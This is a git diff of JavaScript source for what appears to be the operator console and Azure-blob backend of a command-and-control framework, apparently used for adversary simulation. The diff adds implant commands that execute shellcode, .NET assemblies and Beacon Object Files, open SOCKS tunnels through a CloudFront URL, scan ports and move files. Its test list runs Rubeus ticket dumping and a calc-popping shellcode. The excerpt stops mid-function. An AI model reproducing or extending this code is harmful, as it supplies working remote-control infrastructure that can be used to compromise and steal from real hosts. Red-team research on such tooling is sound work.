{ name: "pwd", help: "Print working directory\r\n\tpwd\r\n" },
|
||||
{ name: "ls", help: "File and directory listing\r\n\tls [remote_path]\r\n\tls ./\r\n\tls C:/Users/user/Desktop/\r\n" },
|
||||
{ name: "cat", help: "Display contents of a file\r\n\tcat [remote_path]\r\n\tcat ./kernel.js\r\n\tcat C:/Users/user/Desktop/creds.log\r\n" },
|
||||
@@ -80,12 +77,17 @@ const commandDetails = [
|
||||
{ name: "mv", help: "Move a file to a new destination\r\n\tmv [remote_src] [remote_dst]\r\n\t" },
|
||||
{ name: "sleep", help: "Sleep for seconds with jitter\r\n\sleep [s] [jitter%]\r\n\tsleep 20 15\r\n\t" },
|
||||
{ name: "cp", help: "Copy a file\r\n\tcp [remote_src] [remote_dst]\r\n\t" },
|
||||
{ name: "exit-all", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
|
||||
{ name: "cd", help: "Change directory\r\n\tcd [remote_path]\r\n\tcd /agent/dst\r\n\t" },
|
||||
{ name: "exit", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
|
||||
{ name: "load", help: "Load a node PE file from disk into the process\r\n\tload [remote_path]\r\n\tload ./git.node\r\n\t- Needs the ./ in front\r\n" },
|
||||
{ name: "scexec", help: "Execute shellcode\r\n\tscexec [local_path]\r\n\tscexec /operator/src/shellcode/bin\r\n" },
|
||||
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
|
||||
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
|
||||
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
|
||||
{ name: "socks", help: "socks <url> \r\n" +
|
||||
" - Connect to a SOCKS5 server.\r\n" +
|
||||
" Examples:\r\n" +
|
||||
" socks xyz.cloudfront.net:443/ws/agent/09f21e3b6e247b8a6a6ee2472f5\r\n" },
|
||||
{ name: "scan", help: "scan <host> [-p<ports>] \r\n" +
|
||||
" - The target host or CIDR range to scan.\r\n" +
|
||||
" - Options:\r\n" +
|
||||
@@ -110,7 +112,8 @@ const commandDetails = [
|
||||
" - Use a custom DNS server\r\n" +
|
||||
" dns @default\r\n" +
|
||||
" - Reset the DNS server config\r\n" },
|
||||
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" }
|
||||
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" },
|
||||
{ name: "bof", help: "Execute a Beacon Object File (BOF)\r\n\tbof <path_to_coff_file> <function_name> <format_string> [args...]\r\n\tFormat specifiers:\r\n\t z = null-terminated string (char*)\r\n\t i = 4-byte integer (int)\r\n\t b = binary blob (void*, length)\r\n\t w = wide string (wchar_t*)\r\n\tExamples:\r\n\t bof ./test.coff go z test_string\r\n\t bof ./test.coff go i 1234\r\n\t bof ./test.coff go b 41414141 4\r\n\t bof ./test.coff go w test_wide_string\r\n" }
|
||||
];
|
||||
|
||||
function getHelpInfo(command) {
|
||||
@@ -190,7 +193,55 @@ function getFormattedTimestamp() {
|
||||
return formattedTimestamp;
|
||||
}
|
||||
|
||||
class Task {
|
||||
constructor(command) {
|
||||
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
|
||||
this.uploadChannel = 'u-' + Math.random().toString(36).substring(2, 14);
|
||||
this.command = command;
|
||||
this.taskid = Math.random().toString(36).substring(2, 14);
|
||||
}
|
||||
}
|
||||
|
||||
function getCommandHistoryFile(hostname) {
|
||||
return path.join(directories.logDir, `command_history_${hostname}.log`);
|
||||
}
|
||||
|
||||
function saveCommandToHistory(command, hostname) {
|
||||
try {
|
||||
const historyFile = getCommandHistoryFile(hostname);
|
||||
fs.appendFileSync(historyFile, `${command}\n`);
|
||||
} catch (error) {
|
||||
log(`Error saving command to history: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
function loadCommandHistory(hostname) {
|
||||
try {
|
||||
const historyFile = getCommandHistoryFile(hostname);
|
||||
if (fs.existsSync(historyFile)) {
|
||||
const commands = fs.readFileSync(historyFile, 'utf8').split('\n').filter(cmd => cmd.trim());
|
||||
global.commandHistory = commands;
|
||||
currentCommandIndex = global.commandHistory.length;
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error loading command history: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
function showHelp() {
|
||||
const maxLength = commandDetails.reduce((max, cmd) => {
|
||||
return cmd.name.length > max ? cmd.name.length : max;
|
||||
}, 0);
|
||||
commandDetails.forEach(thiscmd => {
|
||||
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
|
||||
let cmdhelp = thiscmd.help.split('\r\n');
|
||||
cmdhelp = cmdhelp[0];
|
||||
printToConsole(`<i style="color:#c0c0c0">${paddedName} : ${cmdhelp}</i>`);
|
||||
});
|
||||
}
|
||||
|
||||
function sendCommand() {
|
||||
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
|
||||
try {
|
||||
if (global.inputload === false) {
|
||||
return;
|
||||
@@ -198,22 +249,21 @@ function sendCommand() {
|
||||
const input = document.getElementById('consoleInput');
|
||||
let command = input.value.trim();
|
||||
command = command.trim();
|
||||
commandHistory.push(command);
|
||||
global.commandHistory.push(command);
|
||||
saveCommandToHistory(command, global.agent.hostname);
|
||||
let original_command = command;
|
||||
let argv = splitStringWithQuotes(command);
|
||||
if (commandHistory.length > 1000) {
|
||||
commandHistory.shift();
|
||||
}
|
||||
currentCommandIndex = commandHistory.length;
|
||||
let PSString;
|
||||
if (agentObj) {
|
||||
PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">advsim</span>`
|
||||
if (global.commandHistory.length > 1000) {
|
||||
global.commandHistory.shift();
|
||||
}
|
||||
currentCommandIndex = global.commandHistory.length;
|
||||
let PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">${global.agent.username}</span>`;
|
||||
let UnknownCommand = true;
|
||||
commandDetails.forEach(thiscmd => {
|
||||
if (argv[0] === thiscmd.name) { UnknownCommand = false; }
|
||||
});
|
||||
if (UnknownCommand) {
|
||||
printToConsole(`Unknown command: ${command}`);
|
||||
printToConsole(`<i><span style="color:#ff0000">[!] Unknown command : "${command}". Type "help" for a list of commands.</span></i>`);
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
@@ -236,34 +286,31 @@ function sendCommand() {
|
||||
}
|
||||
if (argv.length > 1) {
|
||||
let commandHelp = getHelpInfo(command);
|
||||
printToConsole(`${PSString}$ ${command}`);
|
||||
printToConsole(commandHelp);
|
||||
printToConsole(`${PSString}$ ${original_command}`);
|
||||
printToConsole(`<i style="color:#c0c0c0">${commandHelp}</i>`);
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
} else {
|
||||
const maxLength = commandDetails.reduce((max, cmd) => {
|
||||
return cmd.name.length > max ? cmd.name.length : max;
|
||||
}, 0);
|
||||
commandDetails.forEach(thiscmd => {
|
||||
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
|
||||
let cmdhelp = thiscmd.help.split('\r\n');
|
||||
cmdhelp = cmdhelp[0];
|
||||
printToConsole(`${paddedName} : ${cmdhelp}`);
|
||||
});
|
||||
printToConsole(`${PSString}$ ${original_command}`);
|
||||
showHelp();
|
||||
input.value = '';
|
||||
closeDropdown();
|
||||
return;
|
||||
}
|
||||
}
|
||||
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
|
||||
containerCmd.key = JSON.parse(containerKey);
|
||||
containerCmd.name = containerName;
|
||||
containerCmd.cmd = command;
|
||||
const task = new Task(
|
||||
command
|
||||
);
|
||||
if (!Array.isArray(global.agent.tasks)) {
|
||||
global.agent.tasks = [];
|
||||
}
|
||||
global.agent.tasks.push(task);
|
||||
let download;
|
||||
let upload = false;
|
||||
let scexec_upload = false;
|
||||
let assembly_upload = false;
|
||||
let bof_upload = false;
|
||||
let uploadblob = "";
|
||||
let uploadfile = "";
|
||||
let argsAmountError = false;
|
||||
@@ -278,9 +325,9 @@ function sendCommand() {
|
||||
if (argv.length == 2) {
|
||||
download = doDownloadFile(argv);
|
||||
command = `download ${download['file']} ${download['blob']}`;
|
||||
containerCmd.cmd = command;
|
||||
log(`agent-window.js : IPC : pull-download-file`);
|
||||
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd), download['file'], download['blob']);
|
||||
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
||||
log(`agent.js : IPC : pull-download-file`);
|
||||
ipcRenderer.send('pull-download-file', global.agent, download['file'], download['blob']);
|
||||
} else {
|
||||
argsAmountError = true;
|
||||
}
|
||||
@@ -291,7 +338,7 @@ function sendCommand() {
|
||||
const destFilePath = argv[2];
|
||||
uploadblob = 'u' + generateUUID(10);
|
||||
command = `upload ${uploadblob} ${destFilePath}`;
|
||||
containerCmd.cmd = command;
|
||||
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
||||
upload = true;
|
||||
} else {
|
||||
argsAmountError = true;
|
||||
@@ -302,7 +349,7 @@ function sendCommand() {
|
||||
scfile = argv[1];
|
||||
scblob = 'sc' + generateUUID(10);
|
||||
command = `scexec ${scblob}`;
|
||||
containerCmd.cmd = command;
|
||||
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
||||
scexec_upload = true;
|
||||
} else {
|
||||
argsAmountError = true;
|
||||
@@ -315,13 +362,21 @@ function sendCommand() {
|
||||
log(`args string : ${args}`);
|
||||
scblob = 'sc' + generateUUID(10);
|
||||
command = `assembly ${scblob} ${args}`;
|
||||
containerCmd.cmd = command;
|
||||
global.agent.tasks[global.agent.tasks.length - 1].command = command;
|
||||
assembly_upload = true;
|
||||
} else {
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (argv[0] == "bof") {
|
||||
if (argv.length > 1) {
|
||||
bof_upload = true;
|
||||
} else {
|
||||
argsAmountError = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (argsAmountError == true) {
|
||||
let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`;
|
||||
let commandHelp = getHelpInfo(argv[0]);
|
||||
@@ -333,22 +388,24 @@ function sendCommand() {
|
||||
}
|
||||
|
||||
log(`Sending command ${command}`);
|
||||
printToConsole(`${PSString}$ ${command}`);
|
||||
printToConsole(`${PSString}$ ${original_command}`);
|
||||
input.value = '';
|
||||
|
||||
if (upload) {
|
||||
printToConsole(`Uploading operator ${uploadfile} file to blob ${uploadblob}`);
|
||||
ipcRenderer.send('upload-file-to-blob', JSON.stringify(containerCmd), uploadfile, uploadblob);
|
||||
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${uploadfile}</b> file to blob <b>${uploadblob}</b></i>`);
|
||||
ipcRenderer.send('upload-file-to-blob', global.agent, uploadfile, uploadblob);
|
||||
} else if (assembly_upload) {
|
||||
printToConsole(`Uploading operator ${scfile} assembly file to blob ${scblob}`);
|
||||
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob);
|
||||
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> assembly file to blob <b>${scblob}</b></i>`);
|
||||
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
|
||||
} else if (bof_upload) {
|
||||
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${argv[1]}</b> BOF file to blob <b>${task.uploadChannel}</b></i>`);
|
||||
ipcRenderer.send('upload-sc-to-blob', global.agent, argv[1], task.uploadChannel);
|
||||
} else if (scexec_upload) {
|
||||
printToConsole(`Uploading operator ${scfile} shellcode file to blob ${scblob}`);
|
||||
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob);
|
||||
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> shellcode file to blob <b>${scblob}</b></i>`);
|
||||
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
|
||||
} else {
|
||||
log(`agent-window.js : IPC : upload-client-command-to-input-channel`);
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd));
|
||||
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', global.agent);
|
||||
closeDropdown();
|
||||
}
|
||||
} catch (error) {
|
||||
@@ -356,10 +413,11 @@ function sendCommand() {
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('send-upload-command', (event, containerCmd) => {
|
||||
ipcRenderer.on('send-upload-command', (event, agent_object) => {
|
||||
try {
|
||||
printToConsole(`[+] Completed uploading operator file to blob`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', containerCmd);
|
||||
log(`agent.js | send-upload-command | agent_object : ${JSON.stringify(agent_object)}`);
|
||||
printToConsole(`<i style="color:#808080">[+] Completed uploading operator file to blob</i>`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', agent_object);
|
||||
} catch (error) {
|
||||
log(error);
|
||||
}
|
||||
@@ -472,15 +530,17 @@ function handleTabCompletion(event) {
|
||||
}
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () => {
|
||||
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) => {
|
||||
try {
|
||||
containerName = name;
|
||||
containerKey = JSON.stringify(aes);
|
||||
containerBlob = JSON.stringify(blobs);
|
||||
agent = JSON.parse(agentJson);
|
||||
agentObj = agent;
|
||||
|
||||
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
|
||||
ipcRenderer.on('container-data', (event, agent_object) => {
|
||||
try {
|
||||
log(`agent.js | container-data | agent_object : ${JSON.stringify(agent_object)}`);
|
||||
containerName = agent_object.container;
|
||||
containerKey = agent_object.aes;
|
||||
containerBlob = agent_object.blobs;
|
||||
//agent = JSON.parse(agent_object);
|
||||
global.agent = agent_object;
|
||||
|
||||
document.title = `${agent_object.agentid.toUpperCase()} | ${agent_object.hostname.toUpperCase()} | ${agent_object.username.toUpperCase()} | ${agent_object.IP}`;
|
||||
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.focus();
|
||||
@@ -489,6 +549,7 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
log(error);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('agent-checkin', (event, checkin_data) => {
|
||||
try {
|
||||
printToConsole(`Checkin Data : ${checkin_data}`);
|
||||
@@ -498,6 +559,7 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
});
|
||||
|
||||
ipcRenderer.on('command-result', (event, result) => {
|
||||
log(`[AGENT][IPC] command-result : ${result}`);
|
||||
printToConsole(result);
|
||||
});
|
||||
|
||||
@@ -514,16 +576,16 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
} else if (event.key === 'ArrowUp') {
|
||||
if (currentCommandIndex > 0) {
|
||||
currentCommandIndex--;
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
input.value = global.commandHistory[currentCommandIndex] || "";
|
||||
} else if (currentCommandIndex === 0) {
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
input.value = global.commandHistory[currentCommandIndex] || "";
|
||||
}
|
||||
event.preventDefault();
|
||||
} else if (event.key === 'ArrowDown') {
|
||||
if (currentCommandIndex < commandHistory.length - 1) {
|
||||
if (currentCommandIndex < global.commandHistory.length - 1) {
|
||||
currentCommandIndex++;
|
||||
input.value = commandHistory[currentCommandIndex];
|
||||
} else if (currentCommandIndex === commandHistory.length - 1) {
|
||||
input.value = global.commandHistory[currentCommandIndex] || "";
|
||||
} else if (currentCommandIndex === global.commandHistory.length - 1) {
|
||||
currentCommandIndex++;
|
||||
input.value = '';
|
||||
}
|
||||
@@ -548,17 +610,25 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
event.preventDefault();
|
||||
}
|
||||
});
|
||||
|
||||
// Send message to main process to add test command menu item
|
||||
ipcRenderer.send('add-test-command-menu');
|
||||
|
||||
// Listen for test command trigger from main process
|
||||
ipcRenderer.on('execute-test-command', () => {
|
||||
executeCommandTests();
|
||||
});
|
||||
});
|
||||
|
||||
async function updateTable() {
|
||||
try {
|
||||
const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0];
|
||||
let agentid = agent.agentid;
|
||||
let agentid = global.agent.agentid;
|
||||
window_agentid = agentid;
|
||||
let agentcheckin = await ipcRenderer.invoke('get-agent-checkin', agentid);
|
||||
|
||||
if (agentcheckin) {
|
||||
log(`agentcheckin : ${agentcheckin}`);
|
||||
//log(`agentcheckin : ${agentcheckin}`);
|
||||
agentcheckin = JSON.parse(agentcheckin);
|
||||
|
||||
const filePath = agentcheckin.Process.trim();
|
||||
@@ -572,11 +642,11 @@ async function updateTable() {
|
||||
}
|
||||
for (let row of agentTable.rows) {
|
||||
let platformName = agentcheckin.platform;
|
||||
if (agent.platform === "darwin") {
|
||||
if (global.agent.platform === "darwin") {
|
||||
platformName = "macOS";
|
||||
} else if (agent.platform === "win32") {
|
||||
} else if (global.agent.platform === "win32") {
|
||||
platformName = "Windows";
|
||||
} else if (agent.platform === "linux") {
|
||||
} else if (global.agent.platform === "linux") {
|
||||
platformName = "Linux";
|
||||
}
|
||||
row.cells[0].textContent = agentcheckin.agentid;
|
||||
@@ -595,6 +665,7 @@ async function updateTable() {
|
||||
if (global.historyload === false) {
|
||||
log(`Loading previous command history`);
|
||||
global.historyload = true;
|
||||
loadCommandHistory(global.agent.hostname);
|
||||
loadPreviousLogs();
|
||||
}
|
||||
global.inputload = true;
|
||||
@@ -605,10 +676,51 @@ async function updateTable() {
|
||||
}
|
||||
setInterval(updateTable, 1000);
|
||||
|
||||
ipcRenderer.on('command-output', (event, output) => {
|
||||
async function format_ls_output(filesAndFolders) {
|
||||
let resultBuffer = '';
|
||||
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
|
||||
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
|
||||
log(`[AGENT][IPC] format_ls_output : ${filesAndFolders}`);
|
||||
let entries = JSON.parse(filesAndFolders)
|
||||
|
||||
for (const entry of entries) {
|
||||
try {
|
||||
log(`[AGENT][IPC] entry : ${entry}`);
|
||||
const options = {
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
year: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
hour12: false
|
||||
};
|
||||
resultBuffer += (entry.name || '').padEnd(60);
|
||||
resultBuffer += (entry.type || '').padEnd(16);
|
||||
resultBuffer += (entry.stats.size ? String(entry.stats.size) : '').padEnd(15);
|
||||
resultBuffer += (entry.stats.ctimeMs ? new Date(entry.stats.ctimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
||||
resultBuffer += (entry.stats.mtimeMs ? new Date(entry.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
|
||||
resultBuffer += '\n';
|
||||
} catch (err) {
|
||||
log(`Error: ${err.message}`);
|
||||
}
|
||||
}
|
||||
return resultBuffer;
|
||||
}
|
||||
|
||||
ipcRenderer.on('command-output', async (event, command_response) => {
|
||||
try {
|
||||
if (output) {
|
||||
printToConsole(output);
|
||||
if (command_response.command.startsWith('ls')) {
|
||||
let resultBuffer = await format_ls_output(command_response.output);
|
||||
printToConsole(resultBuffer);
|
||||
} else if (command_response.command.startsWith('bof ')) {
|
||||
if (command_response.command.startsWith('bof ')) {
|
||||
printToConsole(command_response.output.replace(/</g, '<').replace(/>/g, '>'));
|
||||
} else {
|
||||
printToConsole(command_response.output);
|
||||
}
|
||||
} else {
|
||||
printToConsole(command_response.output);
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
|
||||
@@ -617,7 +729,7 @@ ipcRenderer.on('command-output', (event, output) => {
|
||||
|
||||
ipcRenderer.on('window-closing', async () => {
|
||||
try {
|
||||
log(`agent-window.js : IPC window-closing`);
|
||||
log(`agent.js : IPC window-closing`);
|
||||
log(`agentid: ${window_agentid}`);
|
||||
ipcRenderer.send('force-close', window_agentid);
|
||||
} catch (error) {
|
||||
@@ -663,3 +775,49 @@ function moveCursorByWord(input, direction) {
|
||||
}
|
||||
input.selectionStart = input.selectionEnd = pos;
|
||||
}
|
||||
|
||||
const testCommands = [
|
||||
{ command: "sleep 1 0"},
|
||||
{ command: "sleep 0 0"},
|
||||
{ command: "cd C:\\TEMP"},
|
||||
{ command: "pwd"},
|
||||
{ command: "ls \"C:\\Program Files (x86)\\Microsoft\""},
|
||||
{ command: "ls C:\\\\Program\\ Files\\ (x86)\\\\Microsoft"},
|
||||
{ command: "ls 'C:\\Program Files (x86)\\Microsoft'"},
|
||||
{ command: "ls 'C:/Program Files (x86)/Microsoft'"},
|
||||
{ command: "dns reverse 1.1.1.1"},
|
||||
{ command: "dns lookup google.com"},
|
||||
{ command: "bof /Users/bobby/CS/SA/dir/dir.x64.o go z \"C:\\Users\\user\\Desktop\""},
|
||||
{ command: "spawn powershell.exe -c \"echo testing > C:\\TEMP\\testing.txt\""},
|
||||
{ command: "ls"},
|
||||
{ command: "pwd"},
|
||||
{ command: "cat testing.txt"},
|
||||
{ command: "mv testing.txt testing2.txt"},
|
||||
{ command: "ls .\\"},
|
||||
{ command: "cp testing2.txt testing3.txt"},
|
||||
{ command: "ls ./"},
|
||||
{ command: "download testing3.txt"},
|
||||
{ command: "cd"},
|
||||
{ command: "upload /Users/bobby/Loki/downloads/testing3.txt ./"},
|
||||
{ command: "scan 127.0.0.1 -p22,80,445,8080"},
|
||||
{ command: "assembly /Users/bobby/Rubeus_v4.0_InspirationOpinion.exe klist"},
|
||||
{ command: "scexec /Users/bobby/popcalc.bin"}
|
||||
];
|
||||
|
||||
async function executeCommandTests() {
|
||||
try{
|
||||
printToConsole(`<i style="color:#808080">[+] Starting command tests...</i>`);
|
||||
|
||||
// Execute each command with basic test parameters
|
||||
for (const cmd of testCommands) {
|
||||
let testCommand = cmd.command;
|
||||
// Put the command in the input box and send it
|
||||
const input = document.getElementById('consoleInput');
|
||||
input.value = testCommand;
|
||||
sendCommand();
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error in executeCommandTests: ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 521 KiB After Width: | Height: | Size: 1.1 MiB |
+179
-182
@@ -7,6 +7,32 @@ const { log } = require('console');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
|
||||
class Agent {
|
||||
constructor() {
|
||||
this.agentid = '';
|
||||
this.arch = '';
|
||||
this.container = '';
|
||||
this.hostname = '';
|
||||
this.IP = [];
|
||||
this.osRelease = '';
|
||||
this.osType = '';
|
||||
this.PID = null;
|
||||
this.platform = '';
|
||||
this.Process = '';
|
||||
this.username = '';
|
||||
this.checkin = Date.now();
|
||||
this.tasks = [];
|
||||
this.aes = {
|
||||
'key': null,
|
||||
'iv': null
|
||||
};
|
||||
this.blobs = {
|
||||
'checkin': null,
|
||||
'in': null
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
function decodeBase64(base64) {
|
||||
const buffer = Buffer.from(base64, 'base64');
|
||||
return buffer.toString('utf-8');
|
||||
@@ -15,11 +41,11 @@ function encodeBase64(input) {
|
||||
const buffer = Buffer.from(input, 'utf-8');
|
||||
return buffer.toString('base64');
|
||||
}
|
||||
async function aesEncrypt(data,key,iv) {
|
||||
async function aesEncrypt(data, key, iv) {
|
||||
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let encrypted = "";
|
||||
if ( Buffer.isBuffer( data ) ) {
|
||||
if (Buffer.isBuffer(data)) {
|
||||
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
}
|
||||
else {
|
||||
@@ -45,7 +71,7 @@ async function aesDecrypt(encryptedData, key, iv) {
|
||||
}
|
||||
return decrypted;
|
||||
}
|
||||
async function DeleteStorageContainer(StorageContainer,config)
|
||||
async function DeleteStorageContainer(StorageContainer)
|
||||
{
|
||||
let options = {
|
||||
hostname: global.config.storageAccount,
|
||||
@@ -59,8 +85,7 @@ async function DeleteStorageContainer(StorageContainer,config)
|
||||
};
|
||||
return await makeRequest(options);
|
||||
}
|
||||
// no deps
|
||||
async function DeleteStorageBlob(StorageContainer,StorageBlob,config)
|
||||
async function DeleteStorageBlob(StorageContainer,StorageBlob)
|
||||
{
|
||||
let options = {
|
||||
hostname: global.config.storageAccount,
|
||||
@@ -73,7 +98,7 @@ async function DeleteStorageBlob(StorageContainer,StorageBlob,config)
|
||||
};
|
||||
return await makeRequest(options);
|
||||
}
|
||||
async function preloadContainers(metaContainer,config)
|
||||
async function preloadContainers()
|
||||
{
|
||||
let meta_agent_container_info = [];
|
||||
log(`azure.js | preloadContainers() | global.config: ${JSON.stringify(global.config)}`);
|
||||
@@ -98,7 +123,7 @@ async function preloadContainers(metaContainer,config)
|
||||
for (const blob of blobs) {
|
||||
try
|
||||
{
|
||||
let agent_container = await readBlob(global.config.metaContainer,blob,config);
|
||||
let agent_container = await readBlob(global.config.metaContainer,blob);
|
||||
if(agent_container.status === 200)
|
||||
{
|
||||
let this_agent_info = {
|
||||
@@ -118,58 +143,36 @@ async function preloadContainers(metaContainer,config)
|
||||
return null;
|
||||
}
|
||||
}
|
||||
class Agent {
|
||||
constructor() {
|
||||
this.agentid = '';
|
||||
this.arch = '';
|
||||
this.container = '';
|
||||
this.hostname = '';
|
||||
this.IP = [];
|
||||
this.osRelease = '';
|
||||
this.osType = '';
|
||||
this.PID = null;
|
||||
this.platform = '';
|
||||
this.Process = '';
|
||||
this.username = '';
|
||||
this.checkin = Date.now();
|
||||
this.aes = {
|
||||
'key': null,
|
||||
'iv': null
|
||||
};
|
||||
this.blobs = {
|
||||
'key': null,
|
||||
'checkin': null,
|
||||
'in': null,
|
||||
'out': null
|
||||
};
|
||||
}
|
||||
}
|
||||
async function updateDashboardTable(containerName,config)
|
||||
|
||||
async function updateDashboardTable()
|
||||
{
|
||||
let agentcheckins = [];
|
||||
try {
|
||||
let thisAgent = null;
|
||||
let agentObj = null;
|
||||
let MetaBlobs = await list_blobs(global.config.metaContainer,config);
|
||||
let MetaBlobs = await list_blobs(global.config.metaContainer);
|
||||
for (const agentMetaBlob of MetaBlobs)
|
||||
{
|
||||
try
|
||||
{
|
||||
if(global.agents.find(agent => agent.agentid === agentMetaBlob)){
|
||||
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} already exists in global.agents`);
|
||||
thisAgent = global.agents.find(agent => agent.agentid === agentMetaBlob);
|
||||
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | Found existing agent object: ${JSON.stringify(thisAgent)}`);
|
||||
}
|
||||
else{
|
||||
log(`azure.js | updateDashboardTable() | ${agentMetaBlob} | [!] Agent ${agentMetaBlob} does not exist in global.agents`);
|
||||
thisAgent = new Agent();
|
||||
thisAgent.agentid = agentMetaBlob;
|
||||
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob,config);
|
||||
thisAgent.aes = await getContainerAesKeys(thisAgent.agentid);
|
||||
if(thisAgent.aes == null){ continue; }
|
||||
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob);
|
||||
if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; }
|
||||
thisAgent.container = metaAgentResponse.data;
|
||||
thisAgent.blobs = await getContainerBlobs(thisAgent.container,config);
|
||||
thisAgent.aes = await getContainerAesKeys(thisAgent.container,thisAgent.blobs['key'],config);
|
||||
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs,config);
|
||||
agentObj = JSON.parse(checkinData);
|
||||
thisAgent.blobs = await getContainerBlobs(thisAgent.container);
|
||||
if(thisAgent.blobs == null ){ continue; }
|
||||
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
|
||||
if(checkinData == null){ continue; }
|
||||
try {
|
||||
if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; }
|
||||
} catch (error) { continue; }
|
||||
thisAgent.hostname = agentObj.hostname;
|
||||
thisAgent.IP = agentObj.IP;
|
||||
thisAgent.osRelease = agentObj.osRelease;
|
||||
@@ -179,30 +182,25 @@ async function updateDashboardTable(containerName,config)
|
||||
thisAgent.Process = agentObj.Process;
|
||||
thisAgent.username = agentObj.username;
|
||||
thisAgent.arch = agentObj.arch;
|
||||
global.agents.push(thisAgent);
|
||||
}
|
||||
let checkinBlobLastModified = await getBlobLastModified(thisAgent.container,thisAgent.blobs['in']);
|
||||
if (!checkinBlobLastModified)
|
||||
{
|
||||
log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`);
|
||||
